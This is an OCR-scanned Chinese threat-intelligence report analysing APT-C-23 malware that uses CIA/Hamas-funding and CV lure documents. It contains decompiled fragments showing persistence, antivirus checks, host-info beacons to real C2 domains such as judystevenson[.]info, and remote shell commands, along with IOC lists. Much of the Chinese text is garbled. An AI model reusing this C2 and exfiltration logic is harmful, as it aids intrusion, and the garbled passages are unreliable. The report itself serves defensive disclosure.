ARIGEEMER O

ti.gianxin.com/blog/articles/analysis-of-APT-C-23-ClA-funding-for-Hamas-information-as-bait/

Bz

WEMAPTHKZ — MK TP RMX SRk BELR , ERFETF2017E8EE. AE/0H
20164FE5 At , (FFFE4tXTESEMERBYMN,. EFVMEEEMSFR T HAHL , Btk ,
BESTHERIEE | ZABLRE ST WindowsFIAndroid X & W thaE

EH , FREEIMERT/OLMRHRIATE B KBTI RS DA, SCRRE F
AIRTRITICH , SR EFRRE AN Y AEIERR | ESREERTRIT. AHEDIT
B, BRBRAHERFERRZEE. BRURRKEERIECIAYIE DT SHFHAXBUASHE
H, ERHEEX T RE A, BRAXEE, FREBMERT LT MIRIIKER
W, BRI REAPTALR : XUEH,

B RAEBIMEIRT ORI B — BB R XU T TIE,

RedDrip Team

..
(%2 @ReqDrip7

New sample seems used by #APT-C-23 #AridViper.
Once it gets executed, a document relating to
infomation about #CIA #Hamas is shown to confuse the
victim and meanwhile RAT is executed to perform
remote control.
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i
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Fumding HAMAS by USA-

The United States will decide to fund the HAMAS movement in the Gaza strip by
American organizations in Gaza strip to make an intelligence center in it, like the
last project - Hospital -near the border of Gaza strip and we will make
other Organi Gaza 1w support HAMAS and collect intelligence

that serves the America and Israel, and we are going to
ask Qatar and Turkey to redouble efforts to put pressure on HAMAS 1o accept it.

T12:45 - 202056118258 - Twitter Web App

EXER
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MD5

9fcb1cb7e8bb3424ce7e83ce5ad9a78d

My Cv.docx.exe

ae0b53e6b378bf74e1dd2973d604beb55

serati al thatia.docx.exe

c27f925a7c424c0f5125a681a9c44607

My Cv-4786789573896-2347675-docx.exe
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Reborn: The Wanderer in US Hispanic Literature. Sancho Rodriguez, Chair

MLA. in Spanish, June 2013 ~ University of Houston

B.A. in Spanish, June 2011 - University of Houston

APPOINTMENTS

Adjunct Lecturer: University of Houston, Department of Hispanic Studies, September 2016 to
Present.

PUBLICATIONS

Book

Gonzalez, Glorla, Quixote Reborn: The Wanderer in US Hispanic Literature, New Haven: Yale
Unlversity Press (forthcoming)

Peer-reviewed Journals

Gonzalez, Gloria, "Mexican Im
6(1): 24-21

ligrant Stories from the Central Valley,” Lody Liberty Journal,

Gonzalez, Gloria. "Comparing the Hispanic and European Experience through Story.”
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X4 MD5

sun is crying in a door and what it tells tells my 1507f7ecc5fe8ef4c90c853d64e1a9f9
country Take me on my homelandd.exe

PhoneProviders.exe 9af8f2a02befa7ceb9b72359ce30cObb
bihbik lamaa bitahki tarsum eishafafik dahka 26a1fc2f983fb8abae4b47b0c7edfeeb
hbihbik lamaa bitahki.exe

Her hands are following my pain Irfana, | am e0f8e726e4d5a4ad22de8a62c98e1737
suffering What lightness and my pain wasted

me.exe

gift.mp4.exe 835f86e1e83a3da25c715e89db5355c¢cc
Video02042020.mp4.exe f5bac4d2de2eb1f8007f68c77bfa460e

FERAETRUPRIXELIM , BAAE , BFERTNT

Sp

1507f7ecc5fe8ef4c90c853d64e1a9f9
9af8f2a02befa7ceb9b72359ce30c0bb
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Her hands are following my pain Ifana, | am suffering What lightness and my pain wasted me

&

23481138 Jyids S0 V.13

e0f8e726e4d5a4ad22de8a62c98e1737
835f86e1e83a3da25¢c715e89db5355¢cc

RS

VCJail

X4

Financing USA is illegal and suspicious organizations.exe

MD5 9fcb1cb7e8bb3424ce7e83ce5ad9a78d
HIERNET CIARBIBEHHEXER
C2 ansonwhitmore[.]live

7N

2

FEARNEE iword LAY |, PUTE N\ RIRPHEEIE R K ZEIFinancing USA is illegal and
suspicious organizations.docx , FFTFRACRYEKRTEE |

sub_487338(&v43, 1nanc1ng USF is illegal and 3u;p1c10u; organizations.docx™);
sub_48466@( "RT_| RCB)-T,- , w43, vad, v45, v46, v47, v48, va43);
sub 49?339(& 1, "Financing USF is illegal and suspicious organizations.docx™);
3 = &lp
1f ( VB4 > BxlB )
------
Shell xecuted (D "open”, vi, 8, @, 1);
if ( vE4 »>= 8x1e )
sub_41129@(1pFile, vB4 + 1);
vB4 = BxF;
VB3 = 83
LOBYTE( _____ le) = 8;
V93 = @85
sub_4eDspe(&val);
sub_4BBEAB(&VEL); |
93 = @xFFFFFFFF;

if ( I*argy )
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Washigton.DC18526

Central intelligence agency«
Dept. MR52869+
Telephone No. (703)351-5053 +

225ep 2019«

Funding HIAMAS by USA.

The United States will decide to fund the HAMAS movement in the Gaza strip by
American organizations in Gaza strip to make an intelligence center in it, like the
last project - an American Hospital -near the border of Gaza strip and we will make
other Organizations in Gaza to support HAMAS and collect intelligence
information that serves the intelligence America and Israel, and we are going to

ask Qatar and Turkey to redouble efforts to put pressure on HAMAS to accept it. «

il

104 | A | EEE
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v18 = sub_9586C8(v17, &startup_folder, ".1nk");// H#E"1nk",BEN\Ffilname.lnk

LOBYTE(v99) = 18;

string_append_2(&ve3, v1Z, @, @xFFFFFFFF);

if (w08 »= exll )
sub_951298(1pFile, vad + 1);

voe = 15;

vEd = @;

LOBYTE(1lpFile) = @;

LOBYTE(v99) = 19;

Call Lockit(&startup_folder);

Call_Lockit(&startup_folder);

if (w97 »= exll )
sub_95129@(v94, va7 + 1);

va7 = 15;

vOE = @

LOBYTE(v94) = @

LOBYTE(v99) = 28;

Call Lockit(&v33);

Call_Lockit(&v93);

if (B2 »= ex1e )
sub_95129@(vae, vE2 + 1);

va2 = 15;
VBl = B
LOBYTE(vER) = @

LOBYTE(v99) = 21;
Call Lockit(&string TempPath_2);
Call Lockit(&string TempPath_2);
LOBYTE(v29) = 15;

vl9 = &v6d; /i %startup¥hfilename.lnk
yS4 = B
if ( vES »= exie )
w19 = vigd;
if ( _access(v19, v54) ) /7 FIERTER
{

sub_94B488(&unk_A37A84, &string fileFolder, @, @xFFFFFFFF);// string_folder
sub 9471e@(&unk A37A34, "W\

£ %temp% B {87 SwitcherDataModel 3L {432 ,

0%
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Call_string_append(&ptr_string_secombetxt, "\\SwitcherDataModel\\Secombe.txt", @xlEu);
Call string_append(&ptr_string_switcherDataModel, "\\SwitcherDataModel™, @xl2u);
v1d = sub_9585E8("/c mkdir \"\"", &startup_folder, &ptr_string_switcherDataModel);
if ( vie[6] < 8xleu )
(vie + 1);

v vie[1];
ShellExecuteA(®, @, "cmd.exe™, v11, 8, @);
if (V90 >= exie )

sub_951298(1pFile, v3@ + 1);

23312 B %temp%\\SwitcherDataModel\\Secombe txt3C {4, ZALER 2k W , MFREGTE M4 ke
WMFRE XS,

& = &ptr_string secombetxt ; // \\SwitcherDataModel\\Secombe.txt
( dword_A37BDC »= 8x18 )

36 = ptr_string_secombetxt_;

fopen(vie, "r"};

string_Txt = fgets(&92, 288, v37);
fclose(v3a);

}

else

{
nsize = 18;
GetComputerNameA(&Buffer, &nSize);
sub_94718@(&unk_A37A3@, &Buffer);
vi0 = _timeg4(@);

2o .

ENH
for ( i =8; i <18; +i)

vee[@] = rand() ¥ 26 + @x41;
sub_094B5D8(&unk_A37A38, 1lu, vae[@]);

¥
sub_943?48(&5:a':up_‘clde’);
LOBYTE(v99) =
5a = wts
1f ( dword_A37BDC »= @xl@ )
V35 = ptr_string_secombetxt_;

fopen(v3s, vs4);

w43 = _p-: e;
fputs(vas, vs4);
fclose(v42);

ZIERERER , ARG AEFEE.

L

010FF248

00A28548 | "sears=%s_%s_%s_%s_%s"

014A5F50 "4445534B544F502D4D364E30365654544444524C4C4E52534B"

01480CF0 | "windows 10 Enterprise”

010FF648 | "shipp"

0149FBDO "Windows Defender”

0146488 | "c:\\Users\\analysis\\Desktop\\9fcbhlcb7e8bb3424ce7e83ce5ad9a78d"

5C2: ansonwhitmore.live/yohann/bordalas/ignaslif{z , A XWEKITENEARZE.

call dword ptr ds: [<&HttpSendRequestAi] ‘ el

test eax,eax
LeST eax,eax ZRIN (stdeall)

[esp] 00cc000C
[esp+4] 00A2856!
[esp+8] 0000002
[esp+C] 010FF24
[esp+10] 000000.

3ce5ad9a78d.&HttpSendrequestA>]=<wininet.HttpSendRequestA>

8d:$4908 #3D08

AR WNRE

il 8 e ] 00CC000C
B A5 | 8 W e RHE & ik 010FEA 00A28560 | "content-Type: application/x-www-

ASCIT ~ || 010FEA 0000002F
34 Sears—4445534854 010FEA 010FF248 | "Sears=4445534B544F502D4D364E3036.
36 4F502D4D364E3036 010FEA 2(3)(73200/\2
43 5654544444524C4C 010FEA AFAS | .
73 4E52534B_windows 010FEA 014AAE50 c:\\users\\analysis\\Apppata\\Lo

010FEA 0149FBDO

£ GRS 010FEA 750590B0 kerne132.750590B0

66 hipp_windows Def
61 ender_c:\Users\a 010FEA 00000000
5¢ nalysis\Desktop\ 010FEA 00CC0004

010FEA 010FF210
S ofchichreshb3azs 0107£4 00000000

<

Nuvvllvuu\l-‘dwvu
vl
w
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HRENBENEH N G40 R RE , IKEXSecombe. txt¥iiE-5C2:
ansonwhitmore.live/yohann/bordalas/alejandroffEX &5 51T,

strncpy(&77, string_Txt, ©@x96u); /7 BRI 2R
V78 = 8;

while ( 1)

vZ = _time64(B);
srand(v2);
v3 = rand();

lizeconds = 1088 * vi;
= String_init(8&v73, string_Txt);
LOBYTE(vER) = 1;

sub_95@8578(&vS1, "Neeson=", v39); // Neesson=[5iEt i

if { v7E 3= Bx1e )
sub_95129@(v74, V76 + 1);

W76 = 15;
V75 = B
LOBYTE(vw74) ;

<]

LOBYTE(vER) = 4;
Call Lockit(&.73);
Call Lockit(&v73);
LOBYTE(vEB) = 3;
v7 = &v52;
if { v54 >= Bxie )

w7 = w523
sub_9447Ce(vs, "/yohann/bordalas/alejandro™, ve, v7);// HHK
LOBYTE(vBR) = 5

if ( Call_String_compare(&v&d, v3, ves, “germain”, 7u) )// F3BFE RE-1 HFE[Ee

if ( Call_String_compare(&v64, vo, w66, "gustave”, 7u) )

if ( Call_String_compare(&v&s, vle, ve6, "steve”, 5u) )
1

V72 = Big4;

Sstring_init(8&v43, L";");

LOBYTE(van) = 7;

sub_944£@@(&v43, &u72, &vEd);

if ( vae »= exle )

sub_95129@(vas, vi6 + 1)

SWERARERFE—BNE , GHANFAALIENTES. MKRIESTRENT

84 ThREMA

germain  PUT{EEMEEREL , IRIRK
gustavo {kiR

steve &KL

Isabella  FEICHFHFHIT.

Pascal/gi’]

X% My Cv-4786789573896-2347675-docx.exe
MD5 faff57734fe08af63e90c0492b4a9a56

FERE ®WRER

C2 Judystevenson[.]info
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X4 My Cv-4786789573896-2347675-docx.exe
7N W] ]
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File : |[faffs7734fe08af53e90c0492b4a9a56 Il pn

Entry Point : < | EPSection: [ text ‘E

3 File Offset : FirstBytes: [48.8D.64.240¢| | @
X lnker oo Subsystem: e

File Size:  [002ECa00h <| n| Overlay: [no 00000000

[[IRESIEIS A i

Image is 64 bit executable RES/OVL:8 /0% 7777

[/ FPC v2.x [v3.0.4] for xB6_64 - Win&4 [ EXE ] {www. ﬁeepasal ord| [ 5can Rip
Lamer Info - Help Hint - Unpack info
|B|g zec, 1.text, Mot packed , try www.ollydbg.de or x64 debug v002| e =
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]

yas@gmail.com+’ My Objective is to find a suitable job that help me to improve
and success in my career ....etge

®
g
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0O
@

_ <+ Diploma in G. Design —3.5/4 — ABC University «
Date of Birth % Bachelor in G. Design —3.7/4 — ABC University «
“+ Master in G. Design —3.9/4 —XYZ University «
Single+
SKILL
. o
+* Computer Skills+
<+ Soft Skills~
o e WORK EXPERIENCE
%  Office skills+
< Adobe Creative+
< EfC..e “ Training - ABC University -6 Months«
L <+ My first job — ABC Company —2017 to 2018 +
“ My Second Job— XYZ Company — 2018 to current +
[
+
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00ZEBFS0
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00ZEBEDO
O0ZEEEFO
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O0ZEEC30
002EBCS0
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45 47 SF 4C 4E 4B SF 54 B0 BD BS T2 05 40 BE T4 €5 T2 78 61 €C 04 BS 88 00 00 07 4F BE 54 €9 6D
B5 T2 07 12 52 45 47 SF 4C 4E 4B 5F 54 63 6D 65 T2 54 63 60 65 72 04 6C 65 66 T4 02 30 03 74 6F
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.rdata:
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.rdata:
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TO 0Z 40 00 00 08 54 S4 B9 BD BS T2 08 54 B9 BD BS TZ 33 03 49 6E T4 BS 72 76 &1 6C 03 20 4E 07 P @ TITimer Timerd Interval N
4F 6F 54 639 60 65 T2 07 OB 54 63 60 65 72 33 54 69 60 65 T2 04 6C 65 66 T4 03 AG 00 03 T4 6F 70
[

Beaaaea1a8 10028 db @ch
PBEEEE1RE1EAA2]1 aButtonlclick db 'ButtonlClick',@
880600601001 ER82E db a8
pooapealaelEaa2r db 5]
BaoaaealaelEaase db @ch
PEEe2801201ERA31 aButton2click db 'Button2Click',e
Be8Ea801881EEE83E db a8
BeaEa881881E883F db 8

88080861001 EAB40 db @ah
pBEBE01P01EAA4]1 aFormcreate db 'FormCreate',@
poaapealaelEaadC db 5]
geaazaalaelcaadl db a8
BEeaEEalaelEaadE db a8
BEEEEE81881ERLF db a8

BeaEa88188 1858 db 12h
PeREAER1RA1EEAS]1 aReglnkTimertim db 'REG_LNK_TimerTimer',@
8e0a2061881E8864 db ]
Beeaa001801E0065 db 5]
Be0aa001801ERB66 db 5]
BEeaaea1881ER867 db a8
AEREEER1RA1ERE58 aTimerltimer db @Bh, 'TimerlTimer',8
BeEEaEa1881E8875 db 8

88080001801 ERA76 db ]

88080801001 ERA77 db ]
poaaaealaeleaars db @Bh
POGEEO1PELERETO aTimer2timer db 'Timer2Timer',@
BeeaaealaelEaass db a8
BeREEE01881EER86 db a8
BeBEaEa1a81EaR87 db 8
Beaaa881881EAREE db @Bh
PEEEBREE1RA1EARES aTimer3timer db 'Timer3Timer',@
88060261001 E0805 db a8
Beaaaea1a01ERE96 db 5]
gaoaaealaaleaasy db a8
BEEEEE01881EAR0E db 7

BeaEa881881 8899 db 8
eeaaaea1aa1Eaa9n db  28h ;
88080001001 EAB9B db 1

ENEETimer3TREAENE S , ATBEHFRLERERE , IS
2)%PROGRAMDATA%\\SecProcessingWindowsSystem.exe

if ( !(unsigned _ int8)str_equal(current_av_name, (_ inte4)"Kasper™) )

get_environment_string((_ inte4)&v
str_cat((__inte4 *}&v4, (_ inted)v
if ( !(unsigned _ int8)check_file_.

{

i zl

if ( lvd )
v2 = (const CHAR *)&WindowName;
CopyFileA(vl, v2,

-1);

nst CHAR *)&WindowName;

get_run_path_toa2(qword_18@1BAS7@, (_ int64)&v3);

3, (__intG4)"PROGRAMDATA");
3, (__inte4)"\\SecProcessingWindowsSystem.exe™, @);
exist((_ inte4)va) )

/7 B 5N E|%PROGRAMDATAR\ \SecProcessingiindowsSystem. exe

OnTimer Timer3Timer left
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ERSESTimer2 W ERATIIFAWIRME , BB LA INNTENFT RS T TR -

Kasper

eScan

360

Corporate

F-Secure

Bitdefender

ZERERRNMFAN , BREB S IKT L-raZ W08 R LA TS UL P4
Wit RS RIRTERPIT R RRFFRAIRE

WindowsXP C:\\Documents and Setting
s\\Start Menu\\Programs\\

Startup\\
SecProcessingWindowsSyste
m.Ink
%APPDATA%\\Microsoft\\Wi
ndows\\StartMenu\\Program

Ko BB R GeAr e AR K f: XP 41 Windows % 4t

s\\Startup\\SecProcessingWi
ndowsSystem.Ink 5 AJE
it £% Software\\Microsoft\\W
indows\\CurrentVersion\\Ru
n REBLFE AL

B Ink SCHEON startup B S SEELRE AL
C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\W
indows\\StartMenu\\Programs\\Startup

RIS Timer1 ERINBEA R OAE XA UK 5C21B15

YTime 1B T/ER RN LB S S , B AT -rqUEMYDATAR R TS 4B SRR AR
Fl|%temp%\\Manal Cv.docx,

K B0 3 754K

get start_param_byindex((_ inte4)&.o, 1);
if ( str_not_find((__ints4)ve, (_ inte4)&str_rq) )// BENESHTH-rqliBEMdocdf B EE tenp BRHTH
{

str_cpy((_QWORD *)&v11 + 1, (_ int64)"\\Manal Cv.docx™);

vi = sub_18e815208();

v1? = sub_18@841718((_ int64)8unk_18@1E6998, 1i64, v3, (WCHAR *)"MYDATA", 1@i64);

sub_18@82F7B@(v12, *((_ int6d *)&11 + 1));

sub_10882F868((_ inted)&savedregs);

u_sub_leeeasale(&vo);

v5 = &unk_10@1E13Ca;

get_environment_string((_ inte4)&v1e, (_ inte4)"TEMP");

vE = vi1a;

V7 = *((_OWORD *)& 11 + 1);

vE = &unk_10@1E13Ca;

sub_18@0@98C8((_ inted *)&vO, (_ int64)&vS, 3i64, 8);

w4 = v3;

if ( fve )

v4 = (const CHAR *)&WindowName;
ShellExecuteA(@is4, "open”, v4, @ic4, @is4, 1);

}

ZIERBUTENA AL , AKX, RERAFEE , Base64dmhd AN FAEPHE !
vegmxylev W ENE , BFP4
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vegmxylcv WEHLE , AFrP4a

venwaapcv RS E

veligracv  RGEIRAERE

vewjixycv  YENREITER

vccodwfev  ER{EERRAN

FFRE {5 B L 1£F | hxxp://judystevenson[.]info/vcapicv/vchivmgecv/vbgsrot

sub_188844298 (v veqmxylov™, qword_l@@2ACIFR);
sub_leae44e98 "wenwaapov”, qword_l@@2ACALe);
sub_18@02C258(8&v15, 1i64);
sub_18@1AAAGB(&v16, viS);
sub_1e@ee44896(v1s, "vcllgracv™, vi@);
sub_18817128@(qword_1e@1BAS7@, &v15);

1801AMAGR (816, v15);
sub_18@884489@( "wewjlaycow™, v1e);
sub_18@1AAAGB(&v10, "MH_1484");
sub_1@ee44898(v1s, "vccodwfov™, vie);
sub_leeee94se(R&qword_1@@2ACA28, (_ inte4)"http://judystevenson.info/vcapicv/vchivmgecv/™);
sub_leee3else(v24, &v1e, (_ int64)"vbgsrot™, vi1E);
sub_180800416(&,10);
sub_18882ED6@(&savedregs);
return sub_1@@82ED3@(&savedregs);

SC2BF/RAREFESINIT , TRESHEAMDSERIR :

mov rax, [rax+7C8h]

mov rax, [rax+628h]

mov rax, [rax]

call qword ptr [rax+148h]

lea rdx, aEadbSaebe89133 ; “eadbSaebed9133bccce354dfc63824b1”
mov rex, [rbp+var 58]

call sub_leeeerlDe

test rax, rax

jnz loc_1@0830E24

P

loc_1@@@38E24:

lea rdx, a25431262a6689f ; "25431262a6689fed@d8516eblalfc7ef”
mov rcx, [rbpvar_58]

call sub_1e@esAlDe

test rax, rax

jnz loc_18@038F48

_ h J
=
loc_1eaa3@Fa8:
lea rdx, a3b848184b112d5 ; "3b2408184b112d52d9bast9@3e9c3c76E"
mov rex, [rbp+var 58]
call sub_leeaaAlDe
test rax, rax
jnz loc_1880831268

TESThREAT

54 STV IhEE
eadb5aebe89133bccce354dfc68824b1  FEShell

25431262a6689fe80d8516eb141fc7ef  #i&

3b040104b112d52d9baef903e9c3c768 TFHEHPIT
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VS5

RS BIERR O RE AR A RS BMER O ALPHA https://t.gianxin.com/ F
AXTRBHENEERT | BEFREFAMTAI , BORERARA D S APTALIR
18,

RETENHNT , BRAITIEEARFER R INAEAT7ef3520da2151¢3724e3615943833a5f 5t ik VC
IRA fE i TREA RS L —23K.

= & EERSHT 7e135200a2151C3724€3615943833a5¢

7ef3520da2151¢c3724e3615943833a5f

B Hamas_pdf.com

ERARE
MD5 7e13520da2151c372403615943833a51 o PE32 executable (GUI) Intel 80388, for MS Windows
SHA1 - AESR =
SHA256 - T TROJAN
pegto i 2180608 =7 TEFE apost
BXERERS @
EENE
QAXTEIR (0) EFER MBS (0) AT (31) FE{Ts (16) RUENEIR (0) X (0)
| HEH @
Isass.exe(ift 2ID: 468) FS{T: C\Wind: \lsass.exe
host. i 584) =T CAWi 3 host.exe -k DeomLaunch
Bl 1577932887399187936_1aadfdad _call_kamala-5 f37491ck 31bifcae_cuckoo-win7en.exe" HEID: 2584) #%1T: "CilUsers\Administrator\AppData\Local\ Temp\ 1

Reader 9.0\Reader\AcroRd32(1##2ID: 2756) $<T: "C\Program Files\Adobe\Reader 8.0\Reader\AcroRd3Z.exe” "C:\Users\Administrator\AppData! Local\Temp\Hamas.pdf”
Bl Reader 9.0\Reader\AcroRd32(##ID: 2680) : *CAProgram Files\Adobe\Reader 9.0\Reader\AcroRd32.exe’ "C:i\Users\Administrator\ AppData\Local\Temp\Hamas.pd"
Adobe Updater.exe” BEEID: 2876) S73: "CiProgra Files\Adobe\Updater6\Adobe Updater.exe” -doActionApplD =+ ~en US

3 explorer. :1232) #E$T: CA\Wind
wmpnscfa.exe”GHZID: 3144) #%47: "C:\Program Fil indows Media Plaver

HA—4bAEREENT

for (1 =@; 1 < @xA; H1 )

ves[e] = rand() % ex1A + @xal; 7ef3520da2151c3724e3615943833a5F
sub_48B5D@(1u, v55[@]);

1 —
for (1 =8; 1 < @xA; ++1 )

LOBYTE(v45) = rand() ¥ @x1A + 8x41; a
sub_4BBBE®(L1u, (char)v4s); e ZN =1
}

B¢ 7ef3520da2151c3724e3615943833a5f C2 : katesacker[ JclubfEALPHA-& E W
FRUBERLARE AR
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https://ti.qianxin.com/

= B EERIS

katesacker.club

202010019

2019/09/10 Do Proxy, LLC (185552 100+

2019/09/15 B Please query the RDDS service of the Registrar of Record identified |

2020009110 on how to contact the Registrant, Admin, or Tech contact of the querit
00+4%)

BEx us

[FEX ISR LR E B AP EAAREMRC2EILE |, MR A P2 a0,

B4

W EMELALR R H IR RHXAPTHE{K , HABWindowsFlAndroid X EHikzs , B
{XWindowsF&EZERLHAER LT , AAELMESHEINGET] , T REBIMEIRTOEIFE:
BERZEALR,

RINET & ZEEMERT ORBIMEREIEN 2450 , BETZEEMERTA
(TIP) . XE, RKIRSEBEMENARL, FrRIENGSOCTE , #EASIFI IR B TIN5
ool 8

ALLP A

RIS

Ersepr

WMAES, 1P, BB, SfHHASH(MDS/SHA1) | MEBHSER (SHAT) SREfFFS

smys.pw. static1 freebitco.n

I0Cs

89e9823013f711d384824d8461cc425d
21aa63b42825fh95bf5114419fb42157
9fcb1cb7e8bb3424ce7e83ce5ad9a78d
4694bf0093c95fa9a7f49af3a7722211

1507f7ecc5fe8ef4c90c853d64e1a9f9
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26a1fc2f983fb8abae4b47b0c7edfeet
9af8f2a02befa7ceb9b72359ce30cObb
e0f8e726e4d5a4ad22de8a62c98e1737
ae0b53e6b378bf74e1dd2973d604be55
c27f925a7c424c0f5125a681a9c44607
835f86e1e83a3da25¢715e89db5355c¢cc
f5bac4d2de2eb1f8007f68c77bfa460e
faff57734fe08af63e90c0492b4a9a56
c4a90110acd78e2de31ad9077aa4effc
9d76d59de0ee91add92c938e3335f27f
a0e681a0637988baea55b50cfff5c3ad
51ae5a914f10945edcc4668550c5d880
malpas-west-rook].]live
charmainellauzier[.]host
judystevenson[.]info
jaime-martinez|[.Jinfo
krasil-anthony][.]icu
ansonwhitmorel.]live
gonzalez-anthonyl.]info
gallant-william[.]icu
doloresabernathyl.]icu

SR

[1]. https://twitter.com/RedDrip7/status/1331458999628091395

[2]. https://mp.weixin.qq.com/s/yobOH_jdKx69m4 i1qDrLA

IR BESAP TN A AL TR 4T X 2 F A A s AT
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